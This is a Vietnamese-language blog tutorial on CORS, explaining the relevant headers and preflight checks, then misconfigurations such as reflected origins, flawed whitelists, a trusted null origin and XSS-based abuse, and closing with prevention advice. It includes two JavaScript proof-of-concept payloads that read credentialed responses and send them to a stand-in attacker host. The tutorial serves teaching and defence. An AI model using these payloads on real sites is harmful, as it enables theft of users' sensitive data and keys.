Blog ๐Ÿ‘จโ€๐Ÿ’ป

๐Ÿ”Cross-origin resource sharing (CORS)

What is CORS ?

Cross-origin resource sharing (CORS) lร  mแป™t cฦก chแบฟ trรฌnh duyแป‡t cho phรฉp truy cแบญp tแป›i nhiแปu tร i nguyรชn khรกc nhau(nhฦฐ JavaScript, fonts, ...) tแปซ cรกc domain khรกc vแป›i domain cแปงa trang ฤ‘รณ.

Nรณ mแปŸ rแป™ng vร  thรชm tรญnh linh hoแบกt cho SOP. Tuy nhiรชn, nรณ cลฉng tiแปm แบฉn nguy cฦก xแบฃy ra cรกc cuแป™c tแบฅn cรดng giแปฏa cรกc doamin nแบฟu chรญnh sรกch CORS cแปงa trang web ฤ‘ฦฐแปฃc ฤ‘แป‹nh cแบฅu hรฌnh vร  triแปƒn khai yแบฟu. CORS khรดng phแบฃi lร  biแป‡n phรกp bแบฃo vแป‡ chแป‘ng lแบกi cรกc cuแป™c tแบฅn cรดng cross-origin, chแบณng hแบกn nhฦฐ giแบฃ mแบกo yรชu cแบงu trรชn nhiแปu trang web (CSRF).

Same-origin policy

Cรกc bแบกn cรณ thแปƒ ฤ‘แปc mแป™t bร i mรฌnh research SOP แปŸ ฤ‘รขy

CORS and the Access-Control-Allow-Origin response header

What is the Access-Control-Allow-Origin response header?

Access-Control-Allow-Origin header ฤ‘ฦฐแปฃc bao gแป“m response tแปซ mแป™t website tแป›i mแป™t request gแป‘c tแปซ mแป™t website khรกc vร  xรกc ฤ‘แป‹nh nguแป“n gแป‘c ฤ‘ฦฐแปฃc permit cแปงa request. Trรฌnh duyแป‡t web so sรกnh Access-Control-Allow-Origin vแป›i request gแป‘c cแปงa trang web vร  cho phรฉp truy cแบญp tแป›i response nแบฟu chรบng khแป›p.

Implementing simple cross-origin resource sharing

Cross-origin resource sharing (CORS) quy ฤ‘แป‹nh rรต rร ng nแป™i dung header giแปฏa cรกc web servers vร  cรกc trรฌnh duyแป‡t mร  hแบกn chแบฟ origin cho tร i nguyรชn web request ngแป“i domain gแป‘c. ฤแบทc tแบฃ cแปงa CORS xรกc ฤ‘แป‹nh rรต mแป™t tแบญp hแปฃp cรกc header cแปงa giao thแปฉc trong ฤ‘รณ Access-Control-Allow-Origin lร  quan trแปng nhแบฅt. Nhแปฏng cรกi header nร y ฤ‘ฦฐแปฃc return bแปŸi mแป™t server khi mแป™t website requests mแป™t cross-doamin resource vแป›i mแป™t Origin header ฤ‘ฦฐแปฃc thรชm vร o trรฌnh duyแป‡t.

Vรญ dแปฅ: Giแบฃ sแปญ mแป™t website vแป›i miแปn gแป‘c: shang.com thแปฑc hiแป‡n mแป™t cross-domain request sau:

GET /data HTTP/1.1
Host: robust-website.com
Origin : https://shang.com

Server แปŸ sha1vu.com trแบฃ vแป response sau:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://shang.com

Khi ฤ‘รณ trรฌnh duyแป‡t sแบฝ cho phรฉp code chแบกy trรชn shang.com ฤ‘ฦฐแปฃc truy cแบญp tแป›i response bแปŸi vรฌ Origin khแป›p nhau.

ฤแบทc tแบฃ cแปงa Access-Control-Allow-Origin cho phรฉp nhiแปu origin(multiple) hoแบทc giรก trแป‹ null hoแบทc kรฝ tแปฑ ฤ‘แบกi diแป‡n * . Tuy nhiรชn khรดng trรฌnh duyแป‡t hแป— trแปฃ multiple origin vร  cรณ nhแปฏng hแบกn chแบฟ vแป viแป‡c sแปญ dแปฅng kรฝ tแปฑ ฤ‘แบกi diแป‡n * .

Handling cross-origin resource requests with credentials

Hร nh vi mแบทc ฤ‘แป‹nh cแปงa request cross-origin resource lร  request ฤ‘ฦฐแปฃc pass mร  khรดng xรกc ฤ‘inh nhฦฐ cookies vร  Authorization header. Tuy nhiรชn cross-domain server cรณ thแปƒ cho phรฉp ฤ‘แปc phแบฃn hแป“i khi thรดng tin xรกc thแปฑc ฤ‘ฦฐแปฃc pass tแป›i nรณ bแปŸi setting cแปงa CORS Access-Control-Allow-Credentials header lร  true. Bรขy giแป nแบฟu request cแปงa website sแปญ dแปฅng JS ฤ‘แปƒ trรฌnh bร y rแบฑng nรณ ฤ‘ang gแปญi cookie แปŸ request:

GET /data HTTP/1.1
Host: robust-website.com
...
Origin: https://normal-website.com
Cookie: JSESSIONID=<value>

Vร  response tแป›i request lร :

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Credentials: true

Sau ฤ‘รณ trรฌnh duyแป‡t sแบฝ cho phรฉp request cแปงa website ฤ‘แปc response, bแปŸi vรฌ Access-Control-Allow-Credentials response header ฤ‘ฦฐแปฃc set lร : true

Relaxation of CORS specifications with wildcards

The header Access-Control-Allow-Origin hแป— trแปฃ kรฝ tแปฑ ฤ‘แบกi diแป‡n.

Vรญ dแปฅ:

Access-Control-Allow-Origin: *

Ghi chรบ rแบฑng kรฝ tแปฑ ฤ‘แบกi diแป‡n cรณ thแปƒ khรดng ฤ‘ฦฐแปฃc sแปญ dแปฅng vแป›i bแบฅt kแปณ giรก trแป‹ nร o. Vรญ dแปฅ header sau ฤ‘รขy khรดng hแปฃp lแป‡:

Access-Control-Allow-Origin: https://*.normal-website.com

Tแปซ gรณc ฤ‘แป™ bแบฃo mแบญt, viแป‡c sแปญ dแปฅng kรฝ tแปฑ ฤ‘แบกi diแป‡n bแป‹ hแบกn chแบฟ trong ฤ‘แบทc ฤ‘iแปƒm kแปน thuแบญt vรฌ bแบกn khรดng thแปƒ kแบฟt hแปฃp kรฝ tแปฑ ฤ‘แบกi diแป‡n vแป›i cross-origin viแป‡c chuyแปƒn giao thรดng tin xรกc thแปฑc (xรกc thแปฑc, cookie hoแบทc chแปฉng chแป‰ phรญa khรกch hร ng). Do ฤ‘รณ, cross-domain server response cแปงa form: 

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Khรดng ฤ‘ฦฐแปฃc phรฉp vรฌ ฤ‘iแปu nร y sแบฝ khรดng an toร n, hiแปƒn thแป‹ bแบฅt kแปณ nแป™i dung xรกc thแปฑc nร o trรชn trang web mแปฅc tiรชu cho mแปi ngฦฐแปi.

Vแป›i cรกc rร ng buแป™c nร y, mแป™t sแป‘ mรกy chแปง Web tแปฑ ฤ‘แป™ng tแบกo ra cรกc Access-Control-Allow-Origin header dแปฑa trรชn the client-specified origin. ฤรขy lร  mแป™t cรกch giแบฃi quyแบฟt cho cรกc rร ng buแป™c CORS khรดng an toร n.

Pre-flight checks

Pre-flight checks ฤ‘รฃ ฤ‘ฦฐแปฃc thรชm vร o ฤ‘แบทc tแบฃ CORS ฤ‘แปƒ bแบฃo vแป‡ tร i nguyรชn kแบฟ thแปซa khแปi cรกc tรนy chแปn yรชu cแบงu mแปŸ rแป™ng ฤ‘ฦฐแปฃc CORS cho phรฉp.

Trong mแป™t sแป‘ trฦฐแปng hแปฃp nhแบฅt ฤ‘แป‹nh, khi yรชu cแบงu tแปซ cross-domain bao gแป“m phฦฐฦกng phรกp HTTP hoแบทc tiรชu ฤ‘แป non-standard, cross-origin requests ฤ‘ฦฐแปฃc ฤ‘i trฦฐแป›c bแปŸi mแป™t yรชu cแบงu sแปญ dแปฅng OPTIONS method vร  CORS protocol cแบงn phแบฃi kiแปƒm tra method vร  header nร o ฤ‘ฦฐแปฃc cho phรฉp trฦฐแป›c khi cho phรฉp cross-origin request. ฤรขy ฤ‘ฦฐแปฃc gแปi lร  Prefligh Check. Server sแบฝ trแบฃ vแป mแป™t danh sรกch cรกc method ฤ‘ฦฐแปฃc phรฉp ngoร i origin ฤ‘รกng tin cแบญy vร  kiแปƒm tra trรฌnh duyแป‡t ฤ‘แปƒ xem liแป‡u method cแปงa trang web yรชu cแบงu cรณ ฤ‘ฦฐแปฃc phรฉp khรดng.

Vรญ dแปฅ: ฤ‘รขy lร  yรชu cแบงu trฦฐแป›c chuyแบฟn bay ฤ‘ang tรฌm cรกch sแปญ dแปฅng phฦฐฦกng thแปฉc nร y cรนng vแป›i tiรชu ฤ‘แป yรชu cแบงu tรนy chแป‰nh ฤ‘ฦฐแปฃc gแปi lร PUT Special-Request-Header:

OPTIONS /data HTTP/1.1
Host: <some website>
...
Origin: https://normal-website.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Special-Request-Header

Server sแบฝ trแบฃ vแป response nhฦฐ sau:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Special-Request-Header
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240

Response nร y set cรกc method ฤ‘ฦฐแปฃc cho phรฉp (PUT, POST vร  OPTIONS) vร  cรกc request header ฤ‘ฦฐแปฃc phรฉp (Special-Request-Header). Trong trฦฐแปng hแปฃp cแปฅ thแปƒ nร y, Cross-domain server cลฉng cho phรฉp gแปญi thรดng tin ฤ‘ฤƒng nhแบญp vร  Access-Control-Max-Age header xรกc ฤ‘แป‹nh khung thแปi gian tแป‘i ฤ‘a ฤ‘แปƒ lฦฐu trแปฏ pre-flight response ฤ‘แปƒ sแปญ dแปฅng lแบกi. Nแบฟu cรกc request methods vร  headers ฤ‘ฦฐแปฃc cho phรฉp (nhฦฐ trong vรญ dแปฅ nร y) thรฌ trรฌnh duyแป‡t sแบฝ xแปญ lรฝ cross-origin request theo cรกch thรดng thฦฐแปng. Pre-flight sแบฝ thรชm mแป™t extra HTTP request vร o cross-domain request.

Does CORS protect against CSRF?

CORS khรดng cลฉng cแบฅp bแบฃo vแป‡ khแปi tแบฅn cรดng CSRF, ฤ‘รขy lร  mแป™t nhแบญn ฤ‘แป‹nh sai lแบงm.

CORS lร  ฤ‘ฦฐแปฃc kiแปƒm soรกt nแป›i lแปng SOP, do ฤ‘รณ CORS ฤ‘ฦฐแปฃc cแบฅu hรฌnh kรฉm/yแบฟu thแปฑc sแปฑ cรณ thแปƒ lร m tฤƒng khแบฃ nฤƒng tแบฅn cรดng CSRF.

Cรณ nhiแปu cรกch khรกc nhau ฤ‘แปƒ thแปฑc hiแป‡n cรกc cuแป™c tแบฅn cรดng CSRF mร  khรดng cแบงn sแปญ dแปฅng CORS, bao gแป“m cรกc hรฌnh thแปฉc HTML ฤ‘ฦกn giแบฃn vร  bao gแป“m cross-domain resource.

Vulnerabilities arising from CORS configuration issues

Nhiแปu trang web hiแป‡n ฤ‘แบกi sแปญ dแปฅng CORS ฤ‘แปƒ cho phรฉp truy cแบญp tแปซ cรกc domain phแปฅ vร  cรกc bรชn thแปฉ ba ฤ‘รกng tin cแบญy. Viแป‡c thแปฑc hiแป‡n CORS cแปงa hแป cรณ thแปƒ chแปฉa lแป—i hoแบทc chแบฏc chแบฏn ฤ‘แบฃm bแบฃo rแบฑng mแปi thแปฉ hoแบกt ฤ‘แป™ng bรฌnh thฦฐแปng vร  ฤ‘iแปu nร y cรณ thแปƒ dแบซn ฤ‘แบฟn cรกc lแป— hแป•ng cรณ thแปƒ khai thรกc. (Lแป— hแป•ng phรกt sinh tแปซ cรกc vแบฅn ฤ‘แป cแบฅu hรฌnh CORS)\

Server-generated ACAO header from client-specified Origin header

Mแป™t sแป‘ แปฉng dแปฅng cแบงn cung cแบฅp quyแปn truy cแบญp vร o mแป™t sแป‘ domain khรกc. Duy trรฌ danh sรกch cรกc doamin ฤ‘ฦฐแปฃc phรฉp yรชu cแบงu nแป— lแปฑc khรดng ngแปซng vร  bแบฅt kแปณ sai sรณt nร o cลฉng cรณ nguy cฦก phรก vแปก chแปฉc nฤƒng. Vรฌ vแบญy, mแป™t sแป‘ แปฉng dแปฅng sแปญ dแปฅng con ฤ‘ฦฐแปng dแป… dร ng ฤ‘แปƒ cho phรฉp truy cแบญp hiแป‡u quแบฃ tแปซ bแบฅt kแปณ miแปn nร o khรกc.

Mแป™t cรกch ฤ‘แปƒ thแปฑc hiแป‡n viแป‡c nร y lร  ฤ‘แปc Origin header tแปซ cรกc yรชu cแบงu vร  bao gแป“m response header cho biแบฟt request origin ฤ‘ฦฐแปฃc cho phรฉp.

Vรญ dแปฅ: hรฃy xem xรฉt mแป™t แปฉng dแปฅng nhแบญn ฤ‘ฦฐแปฃc request sau:

GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionid=...

Sau ฤ‘รณ nรณ respond vแป›i:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true
...

Cรกc header nร y cho biแบฟt rแบฑng quyแปn truy cแบญp ฤ‘ฦฐแปฃc cho phรฉp tแปซ domain yรชu cแบงu (malicious-website.com) vร  cรกc yรชu cแบงu trรชn nhiแปu origin cรณ thแปƒ bao gแป“m cookie (Access-Control-Allow-Credentials: true) vร  do ฤ‘รณ sแบฝ ฤ‘ฦฐแปฃc xแปญ lรฝ trong session.

BแปŸi vรฌ แปฉng dแปฅng reflect origin tรนy รฝ trong Access-Control-Allow-Origin header, ฤ‘iแปu nร y cรณ nghฤฉa lร  hoร n toร n bแบฅt kแปณ miแปn nร o cลฉng cรณ thแปƒ truy cแบญp tร i nguyรชn tแปซ domain vuln. Nแบฟu response chแปฉa bแบฅt kแปณ thรดng tin nhแบกy cแบฃm nร o nhฦฐ API key hoแบทc token CSRF, bแบกn cรณ thแปƒ truy xuแบฅt ฤ‘iแปu nร y bแบฑng cรกch chแบกy script sau trรชn trang web cแปงa bแบกn:

var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();

function reqListener() {
   location='//malicious-website.com/log?key='+this.responseText;
};

Errors parsing Origin headers

Mแป™t sแป‘ แปฉng dแปฅng hแป— trแปฃ quyแปn truy cแบญp tแปซ nhiแปu nguแป“n gแป‘c lร m nhฦฐ vแบญy bแบฑng cรกch sแปญ dแปฅng danh sรกch trแบฏng cรณ nguแป“n gแป‘c ฤ‘ฦฐแปฃc phรฉp. Khi nhแบญn ฤ‘ฦฐแปฃc yรชu cแบงu CORS, nguแป“n gแป‘c ฤ‘ฦฐแปฃc cung cแบฅp ฤ‘ฦฐแปฃc so sรกnh vแป›i danh sรกch trแบฏng. Nแบฟu nguแป“n gแป‘c xuแบฅt hiแป‡n trรชn danh sรกch trแบฏng thรฌ nรณ ฤ‘ฦฐแปฃc phแบฃn รกnh trong tiรชu ฤ‘แป cรณ nguแป“n gแป‘c kiแปƒm soรกt truy cแบญp ฤ‘แปƒ truy cแบญp ฤ‘ฦฐแปฃc cแบฅp. Vรญ dแปฅ: แปฉng dแปฅng nhแบญn ฤ‘ฦฐแปฃc mแป™t yรชu cแบงu bรฌnh thฦฐแปng nhฦฐ:

GET /data HTTP/1.1
Host: normal-website.com
...
Origin: https://innocent-website.com

แปจng dแปฅng kiแปƒm tra Origin dแปฑa trรชn list of origin ฤ‘ฦฐแปฃc phรฉp cแปงa nรณ vร , nแบฟu nรณ nแบฑm trong danh sรกch, reflect origin nhฦฐ sau:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://innocent-website.com

Cรกc lแป—i thฦฐแปng phรกt sinh khi triแปƒn khai whitelists CORS Orgin. Mแป™t sแป‘ tแป• chแปฉc quyแบฟt ฤ‘แป‹nh cho phรฉp truy cแบญp tแปซ tแบฅt cแบฃ cรกc domain phแปฅ cแปงa hแป (bao gแป“m cแบฃ nhแปฏng subdomain chฦฐa tแป“n tแบกi trong tฦฐฦกng lai). Vร  mแป™t sแป‘ แปฉng dแปฅng cho phรฉp truy cแบญp tแปซ nhiแปu domain cแปงa cรกc tแป• chแปฉc khรกc bao gแป“m cแบฃ domain phแปฅ cแปงa hแป. Cรกc quy tแบฏc nร y thฦฐแปng ฤ‘ฦฐแปฃc triแปƒn khai bแบฑng cรกch khแป›p cรกc tiแปn tแป‘ hoแบทc hแบญu tแป‘ URL hoแบทc sแปญ dแปฅng cรกc biแปƒu thแปฉc thรดng thฦฐแปng. Bแบฅt kแปณ lแป—i nร o trong quรก trรฌnh triแปƒn khai ฤ‘แปu cรณ thแปƒ dแบซn ฤ‘แบฟn viแป‡c cแบฅp quyแปn truy cแบญp cho cรกc miแปn bรชn ngoร i ngoร i รฝ muแป‘n.

Note: Cรกc tแป• chแปฉc hay cรกc Group tแบญp ฤ‘oร n thฦฐแปng sแบฝ dรนng mแป™t domain chรญnh vร  tแปซ ฤ‘รณ chia ra cรกc subdomain cho cรกc mแปฅc ฤ‘รญch khรกc mร  hแป cho phรฉp cรกc subdomain cแปงa แปฉng dแปฅng ฤ‘รณ cรณ thแปƒ truy cแบญp tแป›i tร i nguyรชn gแป‘c nhฦฐ lร  shang.vn thรฌ blog.shang.vn cลฉng cรณ thแปƒ truy cแบญp tร i nguyรชn gแป‘c nhฦฐng nแบฟu hacker.shang.com thรฌ cลฉng cรณ thแปƒ...

Vรญ dแปฅ: giแบฃ sแปญ mแป™t แปฉng dแปฅng cแบฅp truy cแบญp cho toร n bแป™ domain kแบฟt thรบc bแบฑng:

normal-website.com

Kแบป tแบฅn cรดng cรณ thแปƒ chiแบฟm ฤ‘ฦฐแปฃc truy cแบญp bแบฑng cรกch ฤ‘ฤƒng kรฝ domain kiแปƒu nhฦฐ nร y:

hackersnormal-website.com

Ngoร i ra nแบฟu แปฉng dแปฅng cแบฅp truy cแบญp cho toร n bแป™ domain cรณ bแบฏt ฤ‘แบงu bแบฑng: 

normal-website.com

Kแบป tแบฅn cรดng cรณ thแปƒ chiแบฟm ฤ‘ฦฐแปฃc truy cแบญp bแบฑng cรกch ฤ‘ฤƒng kรฝ domain kiแปƒu nhฦฐ nร y:

normal-website.com.evil-user.net

Whitelisted null origin value

Thรดng sแป‘ kแปน thuแบญt cho Header Origin trแปฃ giรก trแป‹ . Cรกc trรฌnh duyแป‡t cรณ thแปƒ gแปญi giรก trแป‹ trong Origin header trong cรกc tรฌnh huแป‘ng bแบฅt thฦฐแปng khรกc nhau: null null

  • Cross-origin redirects.

  • Requests from serialized data.

  • Request using the protocol. file:

  • Sandboxed cross-origin requests.

Mแป™t sแป‘ แปฉng dแปฅng cรณ thแปƒ ฤ‘ฦฐa ra whitelist cรณ orgin ฤ‘แปƒ hแป— trแปฃ phรกt triแปƒn ฤ‘แป‹a phฦฐฦกng cแปงa แปฉng dแปฅng.

Vรญ dแปฅ: Giแบฃ sแปญ mแป™t แปฉng dแปฅng nhแบญn ฤ‘ฦฐแปฃc yรชu cแบงu cรณ nguแป“n gแป‘c chรฉo sau: null

GET /sensitive-victim-data
Host: vulnerable-website.com
Origin: null

Vร  server respond sแบฝ nhฦฐ nร y:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

Trong tรฌnh huแป‘ng nร y, kแบป tแบฅn cรดng cรณ thแปƒ sแปญ dแปฅng cรกc thแปง thuแบญt khรกc nhau ฤ‘แปƒ tแบกo yรชu cแบงu cรณ nguแป“n gแป‘c chรฉo cรณ chแปฉa giรก trแป‹ trong tiรชu ฤ‘แป gแป‘c. ฤiแปu nร y sแบฝ ฤ‘รกp แปฉng danh sรกch trแบฏng, dแบซn ฤ‘แบฟn truy cแบญp tรชn miแปn chรฉo.

Vรญ dแปฅ: ฤ‘iแปu nร y cรณ thแปƒ ฤ‘ฦฐแปฃc thแปฑc hiแป‡n bแบฑng cรกch sแปญ dแปฅng mแป™t sandboxed cross-origin request cแปงa form: null iframe

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='malicious-website.com/log?key='+this.responseText;
};
</script>"></iframe>

Exploiting XSS via CORS trust relationships

Ngay cแบฃ CORS ฤ‘ฦฐแปฃc ฤ‘แป‹nh cแบฅu hรฌnh "correctly" cลฉng thiแบฟt lแบญp mแป‘i quan hแป‡ tin cแบญy giแปฏa hai nguแป“n gแป‘c. Nแบฟu mแป™t trang web tin tฦฐแปŸng mแป™t nguแป“n gแป‘c dแป… bแป‹ tแบฅn cรดng bแปŸi tแบญp lแป‡nh chรฉo trang (XSS), thรฌ kแบป tแบฅn cรดng cรณ thแปƒ khai thรกc XSS ฤ‘แปƒ tiรชm mแป™t sแป‘ JavaScript sแปญ dแปฅng CORS ฤ‘แปƒ truy xuแบฅt thรดng tin nhแบกy cแบฃm tแปซ trang web tin cแบญy แปฉng dแปฅng dแป… bแป‹ tแบฅn cรดng.

Cho mแป™t request nhฦฐ sau:

GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: https://subdomain.vulnerable-website.com
Cookie: sessionid=...

Nแบฟu server phแบฃn hแป“i nhฦฐ nร y:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true

Sau ฤ‘รณ kแบป tแบฅn cรดng tรฌm lแป— hแป•ng XSS ฤ‘แปƒ cรณ thแปƒ trแป™m API Key, url nรณ sแบฝ nhฦฐ sau:subdomain.vulnerable-website.com

https://subdomain.vulnerable-website.com/?xss=<script>cors-stuff-here</script>

Breaking TLS with poorly configured CORS

Giแบฃ sแปญ mแป™t แปฉng dแปฅng sแปญ dแปฅng nghiรชm ngแบทt HTTPS cลฉng danh sรกch trแบฏng lร  mแป™t tรชn miแปn phแปฅ ฤ‘รกng tin cแบญy ฤ‘ang sแปญ dแปฅng HTTP ฤ‘ฦกn giแบฃn.

Vรญ dแปฅ: khi แปฉng dแปฅng nhแบญn ฤ‘ฦฐแปฃc yรชu cแบงu sau:

GET /api/requestApiKey HTTP/1.1
Host: vulnerable-website.com
Origin: http://trusted-subdomain.vulnerable-website.com
Cookie: sessionid=...

แปจng dแปฅng respond nhฦฐ nร y:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://trusted-subdomain.vulnerable-website.com
Access-Control-Allow-Credentials: true

Trong tรฌnh huแป‘ng nร y, mแป™t kแบป tแบฅn cรดng cรณ thแปƒ chแบทn lฦฐu lฦฐแปฃng truy cแบญp cแปงa ngฦฐแปi dรนng nแบกn nhรขn cรณ thแปƒ khai thรกc cแบฅu hรฌnh CORS ฤ‘แปƒ thแปa hiแป‡p sแปฑ tฦฐฦกng tรกc cแปงa nแบกn nhรขn vแป›i แปฉng dแปฅng. Cuแป™c tแบฅn cรดng nร y liรชn quan ฤ‘แบฟn cรกc bฦฐแป›c sau:

  • Ngฦฐแปi dรนng sแปญa dแปฅng bแบฅt kแปณ HTTP request nร o

  • Kแบป tแบฅn cรดng sแบฝ inject mแป™t redirection tแป›i: http://trusted-subdomain.vulnerable-website.com

  • Trรฌnh duyแป‡t cแปงa nแบกn nhรขn sแบฝ follow chuyแปƒn hฦฐแป›ng:

  • Kแบป tแบฅn cรดng chแบทn HTTP request ฤ‘ฦกn giแบฃn vร  return mแป™t response giแบฃ mแบกo chแปฉ mแป™t CORS request tแป›i: https://vulnerable-website.com

  • Trรฌnh duyแป‡t nแบกn nhรขn sแบฝ tแบกo CORS request bao gแป“m origin: http://trusted-subdomain.vulnerable-website.com

  • แปจng dแปฅng cho phรฉp request vรฌ ฤ‘รขy lร  a whitelisted origin. Dแปฏ liแป‡u nhแบกy cแบฃm ฤ‘ฦฐแปฃc ฤ‘ฦฐแปฃc trแบฃ vแป trong response.

  • Trang giแบฃ mแบกo cแปงa kแบป tแบฅn cรดng cรณ thแปƒ ฤ‘แปc dแปฏ liแป‡u nhแบกy cแบฃm vร  truyแปn dแปฏ liแป‡u ฤ‘รณ ฤ‘แบฟn bแบฅt kแปณ domain nร o dฦฐแป›i sแปฑ kiแปƒm soรกt cแปงa kแบป tแบฅn cรดng.

Cuแป™c tแบฅn cรดng nร y cรณ hiแป‡u quแบฃ ngay cแบฃ khi trang web dแป… bแป‹ tแบฅn cรดng mแบกnh mแบฝ trong viแป‡c sแปญ dแปฅng HTTPS, khรดng cรณ endpoint HTTP vร  tแบฅt cแบฃ cรกc cookie ฤ‘ฦฐแปฃc gแบฏn flag lร  an toร n.

Intranets and CORS without credentials

Hแบงu hแบฟt tแบฅn cรดng CORS dแปฑa vร o sแปฑ hiแป‡n diแป‡n cแปงa header response:

Access-Control-Allow-Credentials: true

Nแบฟu khรดng cรณ header ฤ‘รณ, trรฌnh duyแป‡t cแปงa ngฦฐแปi dรนng nแบกn nhรขn sแบฝ tแปซ chแป‘i gแปญi cookie cแปงa hแป, cรณ nghฤฉa lร  kแบป tแบฅn cรดng sแบฝ chแป‰ cรณ quyแปn truy cแบญp vร o nแป™i dung khรดng xรกc thแปฑc mร  hแป cรณ thแปƒ dแป… dร ng truy cแบญp bแบฑng cรกch duyแป‡t trแปฑc tiแบฟp vร o trang web ฤ‘รญch.

Tuy nhiรชn, cรณ mแป™t tรฌnh huแป‘ng phแป• biแบฟn trong ฤ‘รณ kแบป tแบฅn cรดng khรดng thแปƒ truy cแบญp trแปฑc tiแบฟp vร o mแป™t trang web: khi ฤ‘รณ lร  mแป™t phแบงn cแปงa mแบกng nแป™i bแป™ cแปงa tแป• chแปฉc vร  nแบฑm trong khรดng gian ฤ‘แป‹a chแป‰ IP riรชng tฦฐ. Cรกc trang web nแป™i bแป™ thฦฐแปng ฤ‘ฦฐแปฃc giแปฏ แปŸ mแป™t tiรชu chuแบฉn bแบฃo mแบญt thแบฅp hฦกn so vแป›i cรกc trang web bรชn ngoร i, cho phรฉp kแบป tแบฅn cรดng tรฌm thแบฅy cรกc lแป— hแป•ng vร  truy cแบญp thรชm.

Vรญ dแปฅ: Cross-origin request trong mแบกng private cรณ thแปƒ nhฦฐ sau:

GET /reader?url=doc1.pdf
Host: intranet.normal-website.com
Origin: https://normal-website.com

Server tra vแป:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *

Mรกy chแปง แปฉng dแปฅng ฤ‘ang trust cรกc yรชu cแบงu tร i nguyรชn tแปซ bแบฅt kแปณ origin nร o mร  khรดng cแบงn thรดng tin ฤ‘ฤƒng nhแบญp. Nแบฟu ngฦฐแปi dรนng trong khรดng gian ฤ‘แป‹a chแป‰ IP riรชng tฦฐ truy cแบญp Internet cรดng khai thรฌ cรณ thแปƒ thแปฑc hiแป‡n cuแป™c tแบฅn cรดng dแปฑa trรชn CORS tแปซ trang web bรชn ngoร i sแปญ dแปฅng trรฌnh duyแป‡t cแปงa nแบกn nhรขn lร m proxy ฤ‘แปƒ truy cแบญp tร i nguyรชn mแบกng nแป™i bแป™.

How to prevent CORS-based attacks

Cรกc lแป— hแป•ng CORS phรกt sinh chแปง yแบฟu dฦฐแป›i dแบกng cแบฅu hรฌnh sai. Do ฤ‘รณ, phรฒng ngแปซa lร  mแป™t vแบฅn ฤ‘แป cแบฅu hรฌnh. Cรกc phแบงn sau ฤ‘รขy mรด tแบฃ mแป™t sแป‘ biแป‡n phรกp phรฒng thแปง hiแป‡u quแบฃ chแป‘ng lแบกi cรกc cuแป™c tแบฅn cรดng CORS.

Proper configuration of cross-origin requests

Nแบฟu mแป™t tร i nguyรชn web chแปฉa thรดng tin nhแบกy cแบฃm, nguแป“n gแป‘c phแบฃi ฤ‘ฦฐแปฃc chแป‰ ฤ‘แป‹nh ฤ‘รบng trong header: Access-Control-Allow-Origin

Only allow trusted sites

Nรณ cรณ vแบป hiแปƒn nhiรชn nhฦฐng Origin ฤ‘ฦฐแปฃc chแป‰ ฤ‘แป‹nh trong header chแป‰ nรชn lร  cรกc trang web ฤ‘รกng tin cแบญy. ฤแบทc biแป‡t, viแป‡c reflect orgin tแปซ cรกc cross-origin requests mร  khรดng cแบงn xรกc thแปฑc cรณ thแปƒ dแป… dร ng khai thรกc vร  nรชn trรกnh. Access-Control-Allow-Origin

Avoid whitelisting null

Trรกnh sแปญ dแปฅng header . Cross-origin resource gแปi tแปซ cรกc tร i liแป‡u nแป™i bแป™ vร  sandboxed requests cรณ thแปƒ chแป‰ ฤ‘แป‹nh Origin. CORS header nรชn ฤ‘ฦฐแปฃc xรกc ฤ‘แป‹nh ฤ‘รบng ฤ‘แป‘i vแป›i Origin ฤ‘รกng tin cแบญy cho cรกc mรกy chแปง riรชng vร  cรดng cแป™ng. Access-Control-Allow-Origin: null null

Avoid wildcards in internal networks

Trรกnh sแปญ dแปฅng kรฝ tแปฑ ฤ‘แบกi diแป‡n trong mแบกng nแป™i bแป™. Chแป‰ tin tฦฐแปŸng cแบฅu hรฌnh mแบกng ฤ‘แปƒ bแบฃo vแป‡ tร i nguyรชn nแป™i bแป™ lร  khรดng ฤ‘แปง khi cรกc trรฌnh duyแป‡t nแป™i bแป™ cรณ thแปƒ truy cแบญp cรกc domain bรชn ngoร i khรดng ฤ‘รกng tin cแบญy.

CORS is not a substitute for server-side security policies

CORS xรกc ฤ‘แป‹nh cรกc hร nh vi cแปงa trรฌnh duyแป‡t vร  khรดng bao giแป thay thแบฟ cho viแป‡c bแบฃo vแป‡ dแปฏ liแป‡u nhแบกy cแบฃm phรญa mรกy chแปง - kแบป tแบฅn cรดng cรณ thแปƒ trแปฑc tiแบฟp giแบฃ mแบกo yรชu cแบงu tแปซ bแบฅt kแปณ nguแป“n ฤ‘รกng tin cแบญy nร o. Do ฤ‘รณ, mรกy chแปง web nรชn tiแบฟp tแปฅc รกp dแปฅng cรกc biแป‡n phรกp bแบฃo vแป‡ ฤ‘แป‘i vแป›i dแปฏ liแป‡u nhแบกy cแบฃm, chแบณng hแบกn nhฦฐ authentication vร  session management, ngoร i CORS ฤ‘ฦฐแปฃc ฤ‘แป‹nh cแบฅu hรฌnh ฤ‘รบng.

______________________________________________Hแบฟt___________________________________________________

PreviousDOM-based vulnerabilitiesNextWebSockets

Last updated